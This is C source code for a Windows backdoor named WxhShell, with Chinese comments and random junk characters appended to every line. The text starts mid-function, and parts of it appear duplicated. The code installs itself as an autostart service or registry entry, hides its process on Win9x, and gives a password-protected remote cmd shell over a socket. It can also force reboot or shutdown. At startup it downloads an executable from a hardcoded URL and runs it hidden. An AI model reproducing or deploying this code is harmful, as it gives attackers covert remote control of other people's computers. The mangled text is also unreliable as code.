  case 'd': { /%fa_+,|-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2L'vB1 `  
    if(Boot(SHUTDOWN)) ?2#v`Z=L;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~;pv &s5}  
    else { 2`-yzm  
    closesocket(wsh); \U1fUrw$*  
    ExitThread(0); :4ndU:.L  
    } G O=&  
    break; LHt{y3l]  
    } eTV%+  
  // 获取shell r dc} e"v  
  case 's': { /Ww_fY  
    CmdShell(wsh); ]T3dZ`-(  
    closesocket(wsh); j70]2NgX  
    ExitThread(0); E27N1J+1  
    break; q66+x)  
  } E>BP b  
  // 退出 _>G=v!  
  case 'x': { 3M nm2*\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q}?yj,D D  
    CloseIt(wsh); @Gs*y1  
    break; X>n\@rTo  
    } =-ky%3:`@  
  // 离开 T@n-^B!Xq  
  case 'q': { Qo4+=^(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p8>.Q/4  
    closesocket(wsh); Al^n&Aa+\  
    WSACleanup(); pP4i0mO{Dv  
    exit(1); !Cm<K*c"&E  
    break; FyZa1%Tv@  
        } iXN7+QO)  
  } q/o|uAq  
  } Jl"),;Od  
,1\nd{  
  // 提示信息 %f{1u5+5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kKFSCl/g  
} hSgfp  
  } o@?3i+%}8  
^lqcF.  
  return; ?UXKy  
} :qV}v2  
N0@&eX|$i4  
// shell模块句柄 sckyG  
int CmdShell(SOCKET sock) 2V}tDN7c  
{ O7#ECUH  
STARTUPINFO si; &&0,;r, -)  
ZeroMemory(&si,sizeof(si)); "t<$ {  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U/ncD F%C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6]i"lqb  
PROCESS_INFORMATION ProcessInfo; ; &2J9  
char cmdline[]="cmd"; ` Nn^   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  +X i#y}%  
  return 0; }+[H~8)5  
} Ni$WI{e9  
 w' E  
// 自身启动模式 or_x0Q  
int StartFromService(void) {Gnji] v  
{ |kvom 4T  
typedef struct [)}F4Jsz%  
{ Hno:"k?  
  DWORD ExitStatus; O a_2J#~$  
  DWORD PebBaseAddress; (k9{&mPJ  
  DWORD AffinityMask; DiK@>$v  
  DWORD BasePriority; r\y~ :  
  ULONG UniqueProcessId; |x|#n  
  ULONG InheritedFromUniqueProcessId; vUGEzCM  
}   PROCESS_BASIC_INFORMATION; 3~"G(UP  
r5qp[Ss3F  
PROCNTQSIP NtQueryInformationProcess; J4qFU^  
*rO#UE2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n*6b*fl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +/60$60[z  
=,0E]M Z  
  HANDLE             hProcess; >9{Gdq[gyr  
  PROCESS_BASIC_INFORMATION pbi; rn l~i  
>]q{vKCAP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xrX^";}j  
  if(NULL == hInst ) return 0; \ajy%$;$}  
/TTmMx*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U2=l; R{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t\nYUL-H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .jRp.U  
/dpEL9K  
  if (!NtQueryInformationProcess) return 0; VLW<"7I 6\  
Z~^)B8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ffK A  
  if(!hProcess) return 0; c>~"Z-VtX  
TI-8I)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; * B!uYP  
'qS&7 W(  
  CloseHandle(hProcess); >Ha tb bA  
w-?_U7'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ahNpHTPa  
if(hProcess==NULL) return 0; (tV/.x*G  
~:r:?PwWG  
HMODULE hMod; m72r6Yq2@  
char procName[255]; xJ>U_Gd  
unsigned long cbNeeded; q"OvuHBSOn  
S6gg(nNe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H: Rd4dl,  
'Z#8]YP`  
  CloseHandle(hProcess); hjywYd]8  
>K$9 (  
if(strstr(procName,"services")) return 1; // 以服务启动 &*\wr} a!  
_p/ _t76s  
  return 0; // 注册表启动 t W ;1  
} X TpYf  
(j;s6g0  
// 主模块 hER]%)#r  
int StartWxhshell(LPSTR lpCmdLine) F$P8"q+  
{ [V_Z9-f*  
  SOCKET wsl; '`Eb].s*  
BOOL val=TRUE; I!?-lI@(  
  int port=0; s(W]>Ib  
  struct sockaddr_in door; &U%AVD[  
 L5/J  
  if(wscfg.ws_autoins) Install(); d 6 t#4!  
25%[nkO4  
port=atoi(lpCmdLine); m,KG}KX  
(055>D6  
if(port<=0) port=wscfg.ws_port; S%zn {1F  
) -x0xY  
  WSADATA data; ehB (?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sJ[I<  
5 s3!{zT{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]cvP !  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &@CcH_d*  
  door.sin_family = AF_INET; R&Y+x;({  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rnW(<t"  
  door.sin_port = htons(port); \^O&){q(9  
tB4dkWt.}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w.w(*5[  
closesocket(wsl); tQ=P.14>:  
return 1; CN4Q++{  
} H&`0I$8m  
CX/ _\0 G4  
  if(listen(wsl,2) == INVALID_SOCKET) { z\wY3pIr2  
closesocket(wsl); 'jAX&7G`  
return 1; ]t$wK  
} S- {=4b'  
  Wxhshell(wsl); A)"?GK{*  
  WSACleanup(); .d{@`^dh1]  
57 (bd0@8  
return 0; %mKM9>lf#  
T%|{Qo<j  
} F(+,M~  
Gf``0F)  
// 以NT服务方式启动 5=Cea  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4#?Sxs  
{ @@->A9'L  
DWORD   status = 0; [XK^3pT_  
  DWORD   specificError = 0xfffffff; ;7,>2VTm  
G`1!SEae  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Msj(>U&}+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VZhtx)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wD+4#=/j  
  serviceStatus.dwWin32ExitCode     = 0; #Bu W  
  serviceStatus.dwServiceSpecificExitCode = 0; ;ED` 7  
  serviceStatus.dwCheckPoint       = 0; +9EG6"..@H  
  serviceStatus.dwWaitHint       = 0; H!N`hEEj>  
NVyel*QE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hb@,fgo!Q  
  if (hServiceStatusHandle==0) return; f_\,H|zco)  
p1}umDb%  
status = GetLastError(); n{'LF #4l  
  if (status!=NO_ERROR) cX~J6vNy5  
{ ))M!"*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '0ks`a4q  
    serviceStatus.dwCheckPoint       = 0; z{;~$."  
    serviceStatus.dwWaitHint       = 0; mO#62e4C  
    serviceStatus.dwWin32ExitCode     = status; f%#q}vK-  
    serviceStatus.dwServiceSpecificExitCode = specificError; =(]yl_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :{7gZ+*  
    return; jimWLF5Q5"  
  } 3 UXaA;  
|azdFf6A:[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qXF#qS-28  
  serviceStatus.dwCheckPoint       = 0; t[=-4;  
  serviceStatus.dwWaitHint       = 0; 7bk=D~/nSg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u9c^:Op  
} 3.0t5F<B  
 (zIWJJw  
// 处理NT服务事件,比如:启动、停止 rJz`v/:|P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r2b_$  
{ UO~Xzx!e  
switch(fdwControl) cmcR @zv  
{ czG]rl\1  
case SERVICE_CONTROL_STOP: .I h'&  
  serviceStatus.dwWin32ExitCode = 0; OdSglB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6j 2mr6o  
  serviceStatus.dwCheckPoint   = 0; 4CH/~b1 (  
  serviceStatus.dwWaitHint     = 0; AQ)DiH  
  { Sv#S_jh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] Hiw+5n  
  } q0t}  
  return;  Y%zYO  
case SERVICE_CONTROL_PAUSE: Y'&rSHI"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cPp<+ ts  
  break; qT153dNA&  
case SERVICE_CONTROL_CONTINUE: 7gnrLc$]O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aGz$A15#  
  break; hBRcI0R  
case SERVICE_CONTROL_INTERROGATE: IIh \ d.o  
  break; k]"DsN$  
}; Bx" eX>A8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fUKi@*^ZUa  
} _Dq, \}  
07 E9[U[  
// 标准应用程序主函数 >{1 i8 b@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ehTRw8"R  
{ bmP2nD6  
-hU1wX%U  
// 获取操作系统版本 *S= c0  
OsIsNt=GetOsVer(); wAA9M4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9er0Ww.d  
A7enC,Ey  
  // 从命令行安装 )RCva3Ul  
  if(strpbrk(lpCmdLine,"iI")) Install(); @3v[L<S{  
a<CJ#B2K  
  // 下载执行文件 Fi8#r)G.  
if(wscfg.ws_downexe) { GNX`~%3KYc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  k:i}xKu  
  WinExec(wscfg.ws_filenam,SW_HIDE); pPH"6   
} ir<K"wi(2  
qe_qag9  
if(!OsIsNt) { .~Gt=F+`s  
// 如果时win9x,隐藏进程并且设置为注册表启动 "lnI@t{o  
HideProc(); U UYx-x  
StartWxhshell(lpCmdLine); \R|qXB $  
} d`sIgll&n  
else OhW o  
  if(StartFromService()) M{)|9F  
  // 以服务方式启动 u"5 hlccH  
  StartServiceCtrlDispatcher(DispatchTable); /oC@:7  
else #>_5PdO  
  // 普通方式启动 Q&`if O  
  StartWxhshell(lpCmdLine); 6}JW- sA  
ZxoAf;U~  
return 0; [J\! 2\Oo  
} 4NDT5sL  
shuoEeoo  
.vov ,J!Y  
&]S\GnqlU]  
=========================================== "NvB@>S  
L IN$Y  
j}aU*p~N  
+2JC**)I  
W%P$$x5&  
2*pNIc  
" l|L ]==M  
Sej(jJX1  
#include <stdio.h> YDjjhe+  
#include <string.h> EY}*}-3  
#include <windows.h> f5P@PG]{  
#include <winsock2.h> ?F^O7\rw  
#include <winsvc.h> hwi$:[  
#include <urlmon.h> fD~f_Wr  
\qw1\-q  
#pragma comment (lib, "Ws2_32.lib") \:Z8"~G  
#pragma comment (lib, "urlmon.lib") 7R#$Hm  
a~w l D.P  
#define MAX_USER   100 // 最大客户端连接数 %ou@Y`  
#define BUF_SOCK   200 // sock buffer 4YyVh.x  
#define KEY_BUFF   255 // 输入 buffer get$ r5  
O`TM}  
#define REBOOT     0   // 重启 Psw<9[  
#define SHUTDOWN   1   // 关机 & d@N3y  
0I7 r{T  
#define DEF_PORT   5000 // 监听端口 4Ixu%  
eeCrHt4;  
#define REG_LEN     16   // 注册表键长度 :$^cY>o  
#define SVC_LEN     80   // NT服务名长度 qrkJ:  
n}3fItSJ  
// 从dll定义API 8^5@J) R8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AI9#\$aGV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z c&i 4K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~!#2s'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zdgSqv  
dH~i  
// wxhshell配置信息 N'=b8J-fF  
struct WSCFG { 0/fA>%&  
  int ws_port;         // 监听端口 q4]Qvf>  
  char ws_passstr[REG_LEN]; // 口令 9PWqoz2c  
  int ws_autoins;       // 安装标记, 1=yes 0=no +OfHa\Nz  
  char ws_regname[REG_LEN]; // 注册表键名 Q)93 +1]  
  char ws_svcname[REG_LEN]; // 服务名 L%31>)8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O=\`q6l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9k3RC}dEr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]_mcJ/6:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p#>d1R1&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U@"f(YL+"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *4O9W8Qz  
3u&)6C?YM  
}; .M>g`UW  
!H4C5wDu  
// default Wxhshell configuration =m/BH^|&W  
struct WSCFG wscfg={DEF_PORT, :nn(Ndlz9  
    "xuhuanlingzhe", UU  DZ  
    1, ?^!: Lw  
    "Wxhshell", FGu#Pa  
    "Wxhshell", g%%j"Cz1  
            "WxhShell Service", jI45X22j  
    "Wrsky Windows CmdShell Service", /(?,S{]  
    "Please Input Your Password: ",  b =R9@!  
  1, mM\jU5P:^  
  "http://www.wrsky.com/wxhshell.exe", :za:gs0  
  "Wxhshell.exe" aSQvtv)91  
    }; 9 $ Ud\   
(laVmU?I7  
// 消息定义模块 \>)#cEX5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ` l}+BI`4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z lR2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LseS8F/q  
char *msg_ws_ext="\n\rExit."; v|GDPq  
char *msg_ws_end="\n\rQuit."; 'FwNQzzt  
char *msg_ws_boot="\n\rReboot..."; 5sguv^;C5  
char *msg_ws_poff="\n\rShutdown..."; vl:V?-sY  
char *msg_ws_down="\n\rSave to "; +|6 u 0&R^  
nPj &a  
char *msg_ws_err="\n\rErr!"; 1Gh3o}z  
char *msg_ws_ok="\n\rOK!"; t+2,;G  
*Fm#Qek  
char ExeFile[MAX_PATH]; <a)L5<#  
int nUser = 0; T}y@ a^#  
HANDLE handles[MAX_USER]; _aK4[*jnqh  
int OsIsNt; 9q>rUoK^  
f~v@;/HL  
SERVICE_STATUS       serviceStatus; |$sMzPCxOk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #uCE0}N@  
/..a9x{At>  
// 函数声明 :y3e-lr  
int Install(void); O%p+P<J  
int Uninstall(void); [hXnw'Im/  
int DownloadFile(char *sURL, SOCKET wsh); OQ*rxL cA  
int Boot(int flag); $pfN0/`(  
void HideProc(void); 95b65f  
int GetOsVer(void); kC=h[<'  
int Wxhshell(SOCKET wsl); kqt.?iJw  
void TalkWithClient(void *cs); 6/l{e)rX2o  
int CmdShell(SOCKET sock); Ob m%\h  
int StartFromService(void); z P=3B%$  
int StartWxhshell(LPSTR lpCmdLine); GcCMCR3  
2pV@CT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `;v>fTcy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q.Vcb!*$  
l t{yo\  
// 数据结构和表定义 uJu#Vr:m  
SERVICE_TABLE_ENTRY DispatchTable[] = hWfC"0  
{ :JfT&YYi"  
{wscfg.ws_svcname, NTServiceMain}, $p~X"f?0  
{NULL, NULL} V jZx{1kCR  
}; {5J: ]{p  
,R5z`O  
// 自我安装 Y0ouLUlI  
int Install(void) LL7un_EC  
{ w5R?9"d@  
  char svExeFile[MAX_PATH]; t+%tN^87:  
  HKEY key; CvB)+>oa  
  strcpy(svExeFile,ExeFile); c^%&-],  
:?J0e4.]  
// 如果是win9x系统,修改注册表设为自启动 Lk:Sju  
if(!OsIsNt) { #Oq~ZV|<l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;vLg4k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v5g]_v*F  
  RegCloseKey(key); m5\/7 VC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H*VZ&{\7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0="U'|J_  
  RegCloseKey(key); T<S_C$O  
  return 0; >do3*ko A  
    } _MST8  
  } s7G!4en  
} M?m)<vMr*  
else { NI33lp$V  
(5R_q.Wu  
// 如果是NT以上系统,安装为系统服务 n|Smy\0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $<v{$UOh  
if (schSCManager!=0) <WGx 6{  
{ o%V%@q H  
  SC_HANDLE schService = CreateService ZZ@1l  
  ( ]] Jg%}o  
  schSCManager, ra>jVE0 `  
  wscfg.ws_svcname, !K5D:x  
  wscfg.ws_svcdisp, gaa;PX  
  SERVICE_ALL_ACCESS, GjGt' m*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mCQn '{)  
  SERVICE_AUTO_START, /FW{>N1   
  SERVICE_ERROR_NORMAL, Q~S3d  
  svExeFile, <Q|(dFr`v  
  NULL, OF/DI)j3  
  NULL, z4iZE*ZS  
  NULL, 2j( ]Bt:  
  NULL, c</u]TD  
  NULL %X>P+6<=  
  ); KQv97#n1  
  if (schService!=0) mb_~ "}A  
  { cO^}A(Ma(  
  CloseServiceHandle(schService); `ot <BwxJ  
  CloseServiceHandle(schSCManager); -lNT"9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UKfpoDhEe  
  strcat(svExeFile,wscfg.ws_svcname); DP<[Uz&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PS3%V_2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |JRaskd  
  RegCloseKey(key); ?)i`)mu'  
  return 0; t $yt8#Tk  
    } d-BUdIz  
  } [S#QGB19  
  CloseServiceHandle(schSCManager); 5U5)$K'OA  
} nD/; Gq  
} "{Jq6):mp  
3I%F,-r  
return 1; n\G88)Dv`V  
} 8 DE%ot  
"2a&G3}t"  
// 自我卸载 - BE.a<  
int Uninstall(void) Rd^X.  
{ F3 z:|sTqc  
  HKEY key; p?qW;1  
XEvDtDR  
if(!OsIsNt) { 'X@>U6s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "FfIq;  
  RegDeleteValue(key,wscfg.ws_regname); u/g4s (a  
  RegCloseKey(key); dB%q`7O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %tC3@S  
  RegDeleteValue(key,wscfg.ws_regname); i!k5P".o^  
  RegCloseKey(key);  01;  
  return 0; \~bx%VWW4  
  } (iO8[  
} w,qYT -R  
} }:f \!b  
else { C^W9=OH  
>L{s[pLJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q@"mL  
if (schSCManager!=0) %A ^qm  
{ M);@XcS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UI}df<Ge  
  if (schService!=0) '}|sRuftb  
  { ~:M"JNcs  
  if(DeleteService(schService)!=0) { dX8N7{"[  
  CloseServiceHandle(schService); r"uOf;m  
  CloseServiceHandle(schSCManager); %@9pn1,  
  return 0; n 0*a.  
  } 1y)|m63&  
  CloseServiceHandle(schService); 2&Hn%q)  
  } ? pkg1F7  
  CloseServiceHandle(schSCManager); ;[}<xw3):  
} P.Uz[_&l6  
} 5C&]YT3 )  
_Boe"   
return 1; A tU!8Z  
} @ a?^2X^  
j4hiMI;  
// 从指定url下载文件 1s@%q <  
int DownloadFile(char *sURL, SOCKET wsh) /18VQ  
{ vn0}l6n3s  
  HRESULT hr; 43p0k&;-7  
char seps[]= "/"; k@i+gV%  
char *token; bw\a\/Dw  
char *file; },@1i<Bb  
char myURL[MAX_PATH]; !0+!%Nr>J  
char myFILE[MAX_PATH]; zLB7'7oP  
n,+/%IZ  
strcpy(myURL,sURL); 00d<V:Aoy  
  token=strtok(myURL,seps); k25:H[   
  while(token!=NULL) W@( EEMhw  
  { .2V`sg.!  
    file=token; OB{d^e}  
  token=strtok(NULL,seps); ">LX>uYmX-  
  } wh~g{(Xvq  
OE4hG xG  
GetCurrentDirectory(MAX_PATH,myFILE); }hPFd  
strcat(myFILE, "\\"); S3oSc<&2  
strcat(myFILE, file); jZX2)#a!  
  send(wsh,myFILE,strlen(myFILE),0); OE=]/([  
send(wsh,"...",3,0); 4)i(`/U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >#Obhs|S{C  
  if(hr==S_OK) @},25"x)  
return 0; N7b+GqYpF>  
else v[O}~E7'  
return 1; !&k}YF  
!Xzne_V<  
} q4~w D  
[A.ix}3mm  
// 系统电源模块 eA$wJ$*   
int Boot(int flag) (<"uV%1  
{ Z"T#"FDIr  
  HANDLE hToken; A=z+@b6  
  TOKEN_PRIVILEGES tkp; `~hB-Z5dI  
N`JkEd7TT  
  if(OsIsNt) { 88GS Bg:YH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /2n-q_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0E5"}8  
    tkp.PrivilegeCount = 1; =@%Ukrd@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'fqX^v5n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qkEre  
if(flag==REBOOT) { Y$%z]i5   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 007(k"=oV  
  return 0; p:GB"e9>H  
} %ZajM  
else { I)B+h8l72<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bv)^GU&   
  return 0; 1j9R^  
} >+ P5Zm(_  
  } #c?xJ&bh  
  else { ~q.a<B`,t  
if(flag==REBOOT) { yFYFFv\?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Dx_:k|k  
  return 0; !m* YPY31  
}  *XlbD  
else { xE2sb*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /s'7[bSv  
  return 0; tTMYqg zUk  
} \%qzTk.&r  
} #%;QcDXRe  
VDyQv^=#  
return 1; s?:&#  
} 2+2Gl7" s  
JjXuy7XQ  
// win9x进程隐藏模块 v `a:Lj  
void HideProc(void) (SEE(G35  
{ aw\\oN*  
>;$C@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vG{+}o#  
  if ( hKernel != NULL ) eNwF<0}  
  { BkP'b{z|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f6I$d<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4Pbuv6`RK  
    FreeLibrary(hKernel); ;yvx-  
  } -&Cb^$.-x  
6cF~8  
return; *[P"2b#  
} z^ai *   
s#8mD !T|  
// 获取操作系统版本 IpJMq^ Z  
int GetOsVer(void) 9?jD90@ }  
{ :"vW;$1 }  
  OSVERSIONINFO winfo; 4dEfXrMf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #K:!s<_"  
  GetVersionEx(&winfo); u["3| `C5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bvxol\7;  
  return 1; /tG0"1{  
  else P?#I9y7iP  
  return 0; IzuYkl}  
} vky@L!&,  
m#i5}uHHg  
// 客户端句柄模块 hLv~N}  
int Wxhshell(SOCKET wsl) am'11a@*  
{ isG8S(}IW&  
  SOCKET wsh; ^Uj\s /  
  struct sockaddr_in client; _5t~g_(1OK  
  DWORD myID; uPmK:9]3R  
yobcAV`  
  while(nUser<MAX_USER) bPlqS+ai_  
{ hR g?H  
  int nSize=sizeof(client); V!{}%;f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Sj[iKCEKtv  
  if(wsh==INVALID_SOCKET) return 1; pZ@)9c  
M_OvIU(E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3Uy48ue  
if(handles[nUser]==0) ]g3RVA%\l  
  closesocket(wsh); >!U oS  
else nT;Rwz$3  
  nUser++; Q{:5gh  
  } u!B6';XY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?ZqvR^  
)F$<-0pT  
  return 0; yx@%x?B  
} 2`[iTBZ=^  
~l^Q~W-+  
// 关闭 socket ?xRx|_}e  
void CloseIt(SOCKET wsh) #80 [q3  
{ (2SmB`g   
closesocket(wsh); +sW;p?K7eO  
nUser--; -J06H&/k  
ExitThread(0); Bh#?:h&f  
} xpO'.xEs  
YUGEGXw  
// 客户端请求句柄 Sb/`a~q ^  
void TalkWithClient(void *cs) fK0VFN8<I  
{ *K57($F  
C-}@.wr(  
  SOCKET wsh=(SOCKET)cs; MyJ\/`8  
  char pwd[SVC_LEN];  s-Z<  
  char cmd[KEY_BUFF]; 4eRV?tE9  
char chr[1]; a(eKb2CX  
int i,j; .:b&$~<  
j@Ta\a-,x  
  while (nUser < MAX_USER) { <73dXTZ0  
UGb<&)  
if(wscfg.ws_passstr) { <\fB+ AZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XHh!Q0v;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ROWI.|  
  //ZeroMemory(pwd,KEY_BUFF); 4ZX6=-u^  
      i=0; dPm_jX  
  while(i<SVC_LEN) { M SnRx*-  
HkL:3 E.  
  // 设置超时 }3TTtd7  
  fd_set FdRead; >x3$Ld  
  struct timeval TimeOut; !1b4q/  
  FD_ZERO(&FdRead); Bn<1zg5  
  FD_SET(wsh,&FdRead); )&") J}@  
  TimeOut.tv_sec=8; k vQ] }`a  
  TimeOut.tv_usec=0; YaT6vSz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %0gcNk"=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #$^vP/"$  
7:S4 Ur  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #3_t}<fX  
  pwd=chr[0];  n$u@v(I  
  if(chr[0]==0xd || chr[0]==0xa) { ]Uu:t  
  pwd=0; 6SqS\ 8  
  break; l2*o@&.  
  } A hCqQ.O71  
  i++; nkxv,_)ZT  
    } Gm.sl},  
H5)8TR3La  
  // 如果是非法用户,关闭 socket DmA~Vj!a^y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I" hlLP  
} n90DS/Yx  
y(fJ{k   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n([9U0!gu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s$wIL//=  
,s~d39{  
while(1) { ^D5+ S`V  
a`*Dq"9pV  
  ZeroMemory(cmd,KEY_BUFF); sq45fRAi  
51Q m2,P1^  
      // 自动支持客户端 telnet标准   O,[9E  
  j=0; xCYK"v6\  
  while(j<KEY_BUFF) { N87)rhXSo,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hR+\,P#G[  
  cmd[j]=chr[0]; +.2O Z3(  
  if(chr[0]==0xa || chr[0]==0xd) { gtwUY$  
  cmd[j]=0; Rh :|ij>B  
  break; ^B!cL~S*I  
  } oO4hBM([  
  j++; /7fD;H^*  
    } 6.'j \  
W' Y?X]xr  
  // 下载文件 t8ZzBD!dP  
  if(strstr(cmd,"http://")) { xa[)fk$6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oWb\T 2!m  
  if(DownloadFile(cmd,wsh)) =3dR-3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /_[?i"GW  
  else eq6>C7.$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eD,'M  
  } \#sdN#e;XA  
  else { Mpx98xcO  
Q.MbzSgXL  
